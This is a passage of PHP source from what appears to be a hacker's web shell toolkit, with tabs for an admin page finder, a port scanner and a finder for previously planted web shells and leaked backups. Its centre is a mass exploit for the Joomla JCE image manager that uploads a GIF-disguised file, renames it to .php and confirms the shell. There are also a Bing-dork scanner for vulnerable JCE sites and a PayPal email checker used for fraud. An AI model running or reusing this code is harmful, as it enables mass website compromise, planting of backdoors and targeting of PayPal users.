5578</style>
5579<script type="text/javascript">
5580<!--
5581function insertcode($text, $place, $replace)
5582{
5583var $this = $text;
5584var logbox = document.getElementById($place);
5585if($replace == 0)
5586document.getElementById($place).innerHTML = logbox.innerHTML+$this;
5587else
5588document.getElementById($place).innerHTML = $this;
5589//document.getElementById("helpbox").innerHTML = $this;
5590}
5591-->
5592</script>
5593</head>
5594<body>
5595<br />
5596<br />
5597<div class="wrapper">
5598<div class="red">
5599<div class="tube">
5600<form action="" method="post" name="xploit_form"><b>
5601URL :</b><br /><input type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 100%;" /><br /><br />
5602<b>404string :</b><br /><input type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 100%;" /><br /><br />
5603<span style="float: right;"><input type="submit" name="xploit_submit" value="Find Admin Page" align="right" /></span><br />
5604</form>
5605<br />
5606</div> <!-- /tube -->
5607</div> <!-- /red -->
5608<br />
5609<div class="green">
5610<div class="tube" id="rightcol">
5611Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
5612Found ones:<br />
5613</div> <!-- /tube -->
5614</div> <!-- /green -->
5615<br clear="all" /><br />
5616<div class="blue">
5617<div class="tube" id="logbox">
5618<br />
5619<br />
5620Admin page Finder<br />
5621PHP Version<br />
5622</div> <!-- /tube -->
5623</div> <!-- /blue -->
5624</div> <!-- /wrapper -->
5625<br clear="all">';
5626}
5627function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
5628if($br == 1) $msg .= "<br />";
5629echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
5630if($stop == 1) exit;
5631@flush();@ob_flush();
5632}
5633function check($x, $front=0) {
5634global $_POST,$site,$false;
5635if($front == 0) $t = $site.$x;
5636else $t = 'http://'.$x.'.'.$site.'/';
5637$headers = get_headers($t);
5638if (!eregi('200', $headers[0])) return 0;
5639$data = @file_get_contents($t);
5640if($_POST['xploit_404string'] == "") if($data == $false) return 0;
5641if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
5642return 1;
5643}
5644
5645// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
5646template();
5647if(!isset($_POST['xploit_url'])) die;
5648if($_POST['xploit_url'] == '') die;
5649$site = $_POST['xploit_url'];
5650if ($site[strlen($site)-1] != "/") $site .= "/";
5651if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
5652$list['end'] = str_replace("\r", "", $list['end']);
5653$list['front'] = str_replace("\r", "", $list['front']);
5654$pathes = explode("\n", $list['end']);
5655$frontpathes = explode("\n", $list['front']);
5656show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
5657$verificate = 0;
5658foreach($pathes as $path) {
5659show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
5660$verificate++; show($verificate, 0, 0, 'verified', 1);
5661if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
5662else{
5663show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
5664show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
5665}
5666}
5667preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
5668if(substr($site, 0, 3) == "www") $site = substr($site, 4);
5669foreach($frontpathes as $frontpath) {
5670show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
5671$verificate++; show($verificate, 0, 0, 'verified', 1);
5672if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
5673else{
5674show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
5675show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
5676}
5677}
5678}
5679if(isset($_GET['action']) && $_GET['action'] == 'portscnnre'){
5680echo '<center><b class="conte">
5681<a href="?action=shellfnderr">Shell Finder</a> -
5682<a href="?action=jcescnr">Jce Scanner</a> -
5683<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
5684<a href="?action=portscnnre">Port Scanner</a> -
5685<a href="?action=admnpgfndr">Admin Page Finder</a> -
5686<a href="?action=srchffilsses">Search Files</a> </center>
5687</b>';
5688echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Port Scanner</span><center><br>';
5689echo '<title>Port Scanner';
5690echo '</title>';
5691
5692$addr = $_SERVER["REMOTE_ADDR"];
5693$port = "80";
5694if ($_GET["addr"]) {
5695$addr = $_GET["addr"];
5696}
5697if ($_GET["port"]) {
5698$port = $_GET["port"];
5699}
5700if ($_GET["port2"]) {
5701$port2 = $_GET["port2"];
5702}
5703
5704echo '<form action="' .$_SERVER["PHP_SELF"]. '" method="get">
5705<center>
5706<div style="width:300px;background:transparent;padding:10px;font-family:arial;">
5707<table width="100%" border="0" cellspacing="0" cellpadding="2">
5708<tr>
5709<td colspan="2" style="font-size:12px; color:#007700;">Please enter a website or IP and port of the website or IP address you wish to scan.</td>
5710</tr>
5711<tr>
5712<td width="30%" style="font-size:12px; color:#007700;"><br>Address/IP</td>
5713<td width="80%"><br><input type="text" name="addr" value="' .$addr. '"></td>
5714</tr>
5715<tr>
5716<td width="30%" style="font-size:12px; color:#007700;"><br>Port</td>
5717<td width="80%"><br><input type="text" name="port" value="' .$port. '"></td>
5718</tr>
5719<tr>
5720<td width="30%" style="font-size:12px; color:#009900;"><br>Result</td>
5721<td width="80%"><br><input type="text" name="port2" value="' .$port2. '"></td>
5722</tr>
5723<td width="30%"> </td>
5724<td width="80%"><br><input type="submit" value="Scan Port(s)"></td>
5725</tr>
5726</table>
5727</div>
5728</form>
5729</center>
5730';
5731
5732if ($_GET["addr"]) {
5733if ($_GET["port"] && !$_GET["port2"]) {
5734$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
5735$success = "#FF0000";
5736$success_msg = "is closed.";
5737if ($fp) {
5738$success = "#99FF66";
5739$success_msg = "is open.";
5740}
5741@fclose($fp);
5742echo '<div style="width:300px;background:' .$success. ';padding:10px;font-family:arial;font-size:12px;">
5743The address <b>"' .$addr. ':' .$port. '"</b> ' .$success_msg. '
5744</div>';
5745}
5746else if ($_GET["port"] && $_GET["port2"]) {
5747$p1 = $_GET["port"];
5748$p2 = $_GET["port2"];
5749if ($p1 == $p2) {
5750$fp = @fsockopen($addr, $port, $errno, $errstr, 2);
5751$success = "#FF0000";
5752$success_msg = "is closed.";
5753if ($fp) {
5754$success = "#99FF66";
5755$success_msg = "is open.";
5756}
5757@fclose($fp);
5758echo '<div style="width:300px;background:' .$success. ';padding:10px;font-family:arial;font-size:12px;">
5759The address <b>"' .$addr. ':' .$port. '"</b> ' .$success_msg. '
5760</div>';
5761}
5762else {
5763if ($p1 < $p2) {
5764$s = $p1;
5765$st = $p1;
5766$e = $p2;
5767}
5768else if ($p2 < $p1) {
5769$s = $p2;
5770$st = $p2;
5771$e = $p1;
5772}
5773while ($s <= $e) {
5774$fp = @fsockopen($addr, $s, $errno, $errstr, 1);
5775if ($fp) {
5776$p_open = $p_open. " " .$s;
5777$p_1 = 1;
5778}
5779@fclose($fp);
5780$s++;
5781}
5782if ($p_1) {
5783$c = "#99FF66";
5784$m = "On the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> the following ports were open: " .$p_open;
5785}
5786else {
5787$c = "#FF0000";
5788$m = "No ports on the address <b>" .$addr. "</b> and port range <b>" .$st. "-" .$e. "</b> were open";
5789}
5790echo '<div style="width:300px;background:' .$c. ';padding:10px;font-family:arial;font-size:12px;">' .$m. '</div>';
5791}
5792}
5793}
5794}
5795
5796if(isset($_GET['action']) && $_GET['action'] == 'shellfnderr'){
5797echo '<center><b class="conte">
5798<a href="?action=shellfnderr">Shell Finder</a> -
5799<a href="?action=jcescnr">Jce Scanner</a> -
5800<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
5801<a href="?action=portscnnre">Port Scanner</a> -
5802<a href="?action=admnpgfndr">Admin Page Finder</a> -
5803<a href="?action=srchffilsses">Search Files</a> </center>
5804</b>';
5805echo'<center>
5806<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Search Shells uploaded</span><br>
5807<img src="http://www11.0zz0.com/2014/08/22/21/592562836.png">
5808<p align="center"></p><br>
5809<form method="POST">
5810</form><center>
5811<form action="" method="post">
5812<input name="traget" type="text" size="100" value="http://www.site.com/"/><br>
5813<br><br>
5814<input name="scan" size="100" value="Start Scaning" type="submit">
5815</form><br>';
5816
5817set_time_limit(0);
5818
5819if (isset($_POST["scan"])) {
5820
5821$url = $_POST['traget'];
5822
5823echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
5824echo "ReSulT:<br /><br />";
5825
5826$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
5827"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
5828"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
5829"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
5830"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
5831"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
5832"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
5833"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
5834"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
5835"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
5836"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
5837"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
5838"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
5839"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
5840"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
5841"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
5842"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
5843"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
5844"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
5845"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
5846"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
5847"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
5848"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
5849"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
5850"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip");
5851
5852//Start Scan
5853foreach ($shells as $shell){
5854$headers = get_headers("$url$shell"); //
5855
5856if (eregi('200', $headers[0])) {
5857//Result
5858echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
5859$dz = fopen('shells.txt', 'a+');
5860$suck = "$url$shell";
5861fwrite($dz, $suck."\n");
5862}
5863}
5864//Result In Text File (shells.txt)
5865echo "You Will Find Shell'z here [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
5866}
5867}
5868echo"</center>";
5869echo"</body>";
5870echo"</html>";
5871
5872if(isset($_GET['action']) && $_GET['action'] == 'jcemultiscnner'){
5873echo '<center><b class="conte">
5874<a href="?action=shellfnderr">Shell Finder</a> -
5875<a href="?action=jcescnr">Jce Scanner</a> -
5876<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
5877<a href="?action=portscnnre">Port Scanner</a> -
5878<a href="?action=admnpgfndr">Admin Page Finder</a> -
5879<a href="?action=srchffilsses">Search Files</a> </center>
5880</b>';
5881echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Multi-Uploader</span><center><br>';
5882echo '<form method="post" action="" enctype="multipart/form-data">
5883<p align="center">
5884<img src="http://www9.0zz0.com/2014/08/22/21/459163695.png"></p>
5885<center><table>
5886<tr>
5887<td></td><td></td><td><font face="Tahoma" color="#007700" size="2pt">List Websites</font><br><textarea class="area" style="width:500px;height:150px;resize:none" name="siteler"></textarea><br><br></td>
5888</tr>
5889<tr>
5890<td></td><td>File :</td><td><input type="file" name="dosya" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input type="submit" value="Attack Now" /></td>
5891</tr></table>
5892</form>
5893</center>';
5894
5895set_time_limit(0);
5896ini_set("max_execution_time", 0);
5897ob_implicit_flush(1);
5898ini_set("default_socket_timeout", 1);
5899if ($_POST) {
5900$jce = new jce;
5901$siteler = $_POST['siteler'];
5902$siteler = explode("
5903", $siteler);
5904foreach ($siteler as $host) {
5905$host = trim($host);
5906$host = str_replace("http://", "", $host);
5907echo "=> Name Website: <strong>$host</strong><br />";
5908flush();
5909@ob_flush();
5910$curl = curl_init();
5911curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
5912curl_setopt($curl, CURLOPT_URL, "http://$host/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20");
5913curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
5914curl_setopt($curl, CURLOPT_TIMEOUT, 13);
5915$exec = curl_exec($curl);
5916curl_close($curl);
5917$str = array('2.0.11</title', '2.0.12</title', '2.0.13</title', '2.0.14</title', '2.0.15</title', '1.5.7.10</title', '1.5.7.11</title', '1.5.7.12</title', '1.5.7.13</title', '1.5.7.14</title');
5918$count = 0;
5919foreach ($str as $value) {
5920$pos = strpos($exec, $value);
5921if ($pos === false) {
5922$count = $count++;
5923}
5924}
5925if ($count = 10) {
5926echo '=> <font color="red">Wait.....</font><br/>';
5927flush();
5928@ob_flush();
5929} else {
5930echo '=> Loading.....<br/>';
5931flush();
5932@ob_flush();
5933}
5934$filename = "ghost" . rand(1, 200) . ".gif";
5935$content = "GIF89a1
5936";
5937$content.= file_get_contents($_FILES['dosya']['tmp_name']);
5938$data = "-----------------------------41184676334
5939";
5940$data.= "Content-Disposition: form-data; name=\"upload-dir\"
5941
5942";
5943$data.= "/
5944";
5945$data.= "-----------------------------41184676334
5946";
5947$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"
5948";
5949$data.= "Content-Type: application/octet-stream
5950
5951
5952";
5953$data.= "-----------------------------41184676334
5954";
5955$data.= "Content-Disposition: form-data; name=\"upload-overwrite\"
5956
5957";
5958$data.= "0
5959";
5960$data.= "-----------------------------41184676334
5961";
5962$data.= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"" . $filename . "\"
5963";
5964$data.= "Content-Type: image/gif
5965
5966";
5967$data.= "$content
5968";
5969$data.= "-----------------------------41184676334
5970";
5971$data.= "xxxy
5972";
5973$data.= "-----------------------------41184676334
5974";
5975$data.= "Content-Disposition: form-data; name=\"action\"
5976
5977";
5978$data.= "upload
5979";
5980$data.= "-----------------------------41184676334--
5981
5982
5983
5984";
5985$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1
5986";
5987$packet.= "Host: " . $host . "
5988";
5989$packet.= "User-Agent: BOT/0.1 (BOT for JCE)
5990";
5991$packet.= "Content-Type: multipart/form-data; boundary=---------------------------41184676334
5992";
5993$packet.= "Accept-Language: en-us,en;q=0.5
5994";
5995$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
5996";
5997$packet.= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
5998";
5999$packet.= "Connection: Close
6000";
6001$packet.= "Proxy-Connection: close
6002";
6003$packet.= "Content-Length: " . strlen($data) . "
6004
6005
6006
6007";
6008$packet.= $data;
6009$jce->sendpacket($host, $packet, 0, 0);
6010$filephp = str_replace("gif", "php", $filename);
6011$packet = "POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
6012";
6013$packet.= "Host: " . $host . "
6014";
6015$packet.= "User-Agent: BOT/0.1 (BOT for JCE)
6016";
6017$packet.= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6018";
6019$packet.= "Accept-Language: en-US,en;q=0.8
6020";
6021$packet.= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
6022";
6023$packet.= "Content-Type: application/x-www-form-urlencoded; charset=utf-8
6024";
6025$packet.= "Accept-Encoding: deflate
6026";
6027$packet.= "X-Request: JSON
6028";
6029$packet.= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182
6030";
6031$ren = "json={\"fn\":\"folderRename\",\"args\":[\"/" . $filename . "\",\"" . $filephp . "\"]}";
6032$packet.= "Content-Length: " . strlen($ren) . "
6033
6034";
6035$packet.= $ren . "
6036
6037";
6038$jce->sendpacket($host, $packet, 1, 0);
6039$kontrol = $jce->uploadkontrolZenci("http://" . $host . "/images/stories/" . $filephp);
6040if ($kontrol) {
6041 echo "=> File Uploaded Successfully -> <a href='http://$host/images/stories/$filephp'>http://$host/images/stories/$filephp</a><br />";
6042 $jce->logyollaZenci("http://" . $host . "/images/stories/" . $filephp);
6043} else {
6044 echo "=> Sorry failed to upload the file :(<br />";
6045}
6046 }
6047}
6048class jce {
6049 public function sendpacket($host, $packet, $response = 0, $output = 0) {
6050$ock = fsockopen($host, 80);
6051stream_set_timeout($ock, 1);
6052if (!$ock) {
6053 echo '=> jce sucks i know hhhhhh xD<br/>';
6054}
6055fputs($ock, $packet);
6056if ($response == 1) {
6057 $html = '';
6058 while (!feof($ock)) {
6059$html.= fgets($ock);
6060 }
6061} else $html = '';
6062fclose($ock);
6063if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));
6064 }
6065 public function uploadkontrolZenci($site) {
6066$curl = curl_init();
6067curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
6068curl_setopt($curl, CURLOPT_URL, $site);
6069curl_setopt($curl, CURLOPT_USERAGENT, "BOT/0.1 (BOT for JCE)");
6070curl_setopt($curl, CURLOPT_TIMEOUT, 15);
6071$exec = curl_exec($curl);
6072curl_close($curl);
6073if (preg_match('/GIF89a1/si', $exec)) {
6074 return true;
6075} else {
6076 return false;
6077}
6078}
6079}
6080};
6081
6082if(isset($_GET['action']) && $_GET['action'] == 'jcescnr'){
6083echo '<center><b class="conte">
6084<a href="?action=shellfnderr">Shell Finder</a> -
6085<a href="?action=jcescnr">Jce Scanner</a> -
6086<a href="?action=jcemultiscnner">JCE Multi-Uploader</a> -
6087<a href="?action=portscnnre">Port Scanner</a> -
6088<a href="?action=admnpgfndr">Admin Page Finder</a> -
6089<a href="?action=srchffilsses">Search Files</a> </center>
6090</b>';
6091echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Server Scanner</span><center><br>';
6092
6093function _curl($url,$ref){
6094$ch = curl_init();
6095curl_setopt($ch, CURLOPT_URL, $url);
6096curl_setopt($ch, CURLOPT_HEADER, 1);
6097curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
6098curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
6099curl_setopt($ch, CURLOPT_REFERER, $ref);
6100curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
6101$resultt=curl_exec($ch);
6102curl_close($ch);
6103return $resultt;
6104}
6105
6106echo'
6107<img src="http://3.bp.blogspot.com/--66MC_oL1Ys/UjvlCefXI-I/AAAAAAAAA4U/1bO6MClKKAg/s1600/jce-logo1.png" width="200" height="150">
6108<form method="post" name="op" action ="">
6109<input type="text" size="50" name="ip" placeholder="Ip:" /><br><br>
6110<input name="sub" type="submit" value=" Scan " />
6111</form>';
6112
6113if(isset($_POST['sub'])){
6114$ip=$_POST['ip'];
6115$j=0;
6116$con2=0;
6117echo "<p>Ip :".$ip."</p>";
6118echo '<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
6119echo '<tr><td> <font color="white"> Web Site </td><td> <font color="white">Jce Rezult </font></td></tr>';
6120
6121while ($j<50000000){
6122$url='http://www.bing.com/search?q=ip:'.$ip.'%20index.php?option%20&first='.$j;
6123$result = _curl($url,'http://www.bing.com/');
6124preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result , $findlink);
6125$cont=count($findlink[1]);
6126for($i=0;$i<$cont;$i++){
6127$shit=explode ("/",$findlink[1][$i]);
6128if (preg_match("/\bindex.php\b/i", $findlink[1][$i])) {
6129preg_match_all('(http://(.*)index.php)siU',$findlink[1][$i],$shit);
6130$website="http://".$shit[1][0];
6131$dork="/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743";
6132$result2=_curl($website.$dork,$website);
6133if(strpos($result2,'{"result":null,"error":"No function call specified!"}')) {
6134echo '<tr><td><font color="green" ><a href="'.$website.'">'.$website."</a></td>";
6135echo "<td> <font color='green' >Jce On </font></td></tr>";
6136}else{
6137echo '<tr><td><font color="red" ><a href="'.$website.'">'.$website."</a></td>" ;
6138echo "<td> <font color='red' >Error</font></td></tr>";
6139}
6140}
6141}
6142
6143$j=$j+10;
6144$con2=$con2+$cont;
6145if($cont<10){break;}
6146if($cont==0){break;}
6147}
6148echo "</table>";
6149echo "<font color='green' > Web Site :".$con2;
6150}
6151}
6152echo"</body></html>";
6153
6154if(isset($_GET['action']) && $_GET['action'] == 'payppallchker'){
6155echo '<center><b class="conte">
6156<a href="?action=maiilllerrr">Mailer</a> -
6157<a href="?action=Everythingdawg">Everything You Need</a> -
6158<a href="?action=payppallchker">Paypal Checker</a> -
6159<a href="?action=emailllextrctr">Email Extractor</a></center></b>';
6160echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">PayPal Valid Email
6161Checker</span><center><br>';
6162@set_time_limit(0);
6163
6164function curl($url='',$var='',$Follow=False){
6165global $set;
6166$curl = curl_init();
6167curl_setopt($curl, CURLOPT_URL, $url);
6168curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
6169curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
6170curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
6171curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
6172curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
6173curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
6174curl_setopt($curl, CURLOPT_HEADER, 0);
6175curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
6176curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
6177if ($Follow !== False) {
6178curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
6179}
6180$result = curl_exec($curl);
6181curl_close($curl);
6182return $result;
6183}
6184echo "<head>
6185<style type=\"text/css\"><!--
6186body {
6187
6188font-family: 'Open Sans', sans-serif; font-size:13px}
6189hr {border:inset 1px #E5E5E5}
6190#form-container
6191{
6192border: solid 1px #007700;
6193border-radius:10px;
6194-moz-border-radius: 10px;
6195-webkit-border-radius: 10px;
6196box-shadow: 0px 0px 4px #009900;
6197-moz-box-shadow: 0px 0px 4px #009900;
6198-webkit-box-shadow: 0px 0px 4px #009900;
6199margin:30px auto;
6200padding:10px;
6201width:910px;
6202text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
6203}
6204
6205#form-container1
6206{
6207border: solid 1px #007700;
6208border-radius:10px;
6209-moz-border-radius: 10px;
6210-webkit-border-radius: 10px;
6211box-shadow: 0px 0px 15px #007700;
6212-moz-box-shadow: 0px 0px 15px #007700;
6213-webkit-box-shadow: 0px 0px 15px #007700;
6214margin:30px auto;
6215padding:10px;
6216width:280px;
6217text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
6218}
6219
6220input[type=text], textarea
6221{
6222background:transparent;
6223border:solid 1px #007700;
6224border-radius:5px;
6225-moz-border-radius: 5px;
6226-webkit-border-radius: 5px;
6227}
6228textarea { width:100%;height:200px; resize:none }
6229input[type=text] { width:160px;text-align:center }
6230input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
6231.submit-button
6232{
6233background: #57A02C;
6234border:solid 1px #57A02C;
6235border-radius:5px;
6236-moz-border-radius: 5px;
6237-webkit-border-radius: 5px;
6238-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
6239-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
6240text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
6241border-bottom: 1px solid rgba(0,0,0,0.25);
6242position: relative;
6243color:#333333;
6244display: inline-block;
6245cursor:pointer;
6246font-size:13px;
6247padding:3px 8px;
6248}
6249.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
6250.table
6251{
6252border: solid 1px #007700;
6253border-radius:10px;
6254-moz-border-radius: 5px;
6255-webkit-border-radius: 5px;
6256padding-left:10px;
6257}
6258
6259.unverified
6260{
6261color:#800000;
6262font-weight: bold;
6263}
6264.business{
6265color:yellow;
6266font-weight: bold;
6267}
6268.premier{
6269color:#00FF00;
6270font-weight: bold;
6271}
6272.verified{
6273color:#800080;
6274font-weight: bold;
6275}
6276.nolog{
6277font-size: 10px;
6278font: red;
6279}
6280
6281
6282--></style>
6283<title>Valid Email Checker</title>
6284</head><div align=\"center\"></center>";
6285
6286$emails = $_POST['emails'];
6287print '<div id="form-container"> <form method="POST">
6288
6289<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
6290Checker<br></font></p>
6291
6292<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
6293<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
6294</form> </div>';
6295if (!empty($emails)) {
6296$emails = explode("\r\n", $emails);
6297$yes = 0;
6298$not = 0;
6299$inv = 0;
6300$count = 1;
6301print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
6302foreach ( $emails as $email ) {
6303$email = trim($email);
6304print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font> ..... </b>";
6305$count++;
6306if(filter_var($email, FILTER_VALIDATE_EMAIL)){
6307$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com¤cy=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
6308if(!strpos($_CheckAction, "region")) {
6309print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
6310$yes++;
6311$vaild_yes .=$email."\n";
6312}
6313else {
6314print "<b><font color=\"#FF0000\">NO</font></b><br>";
6315$not++;
6316$vaild_no .=$email."\n";
6317}
6318}
6319else {
6320print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
6321$inv++;
6322$invaild .=$email."\n";
6323}
6324}
6325
6326print '<p><table border="0" width="100%">
6327
6328<tr>
6329<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
6330<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
6331<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
6332</tr>
6333<tr>
6334<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
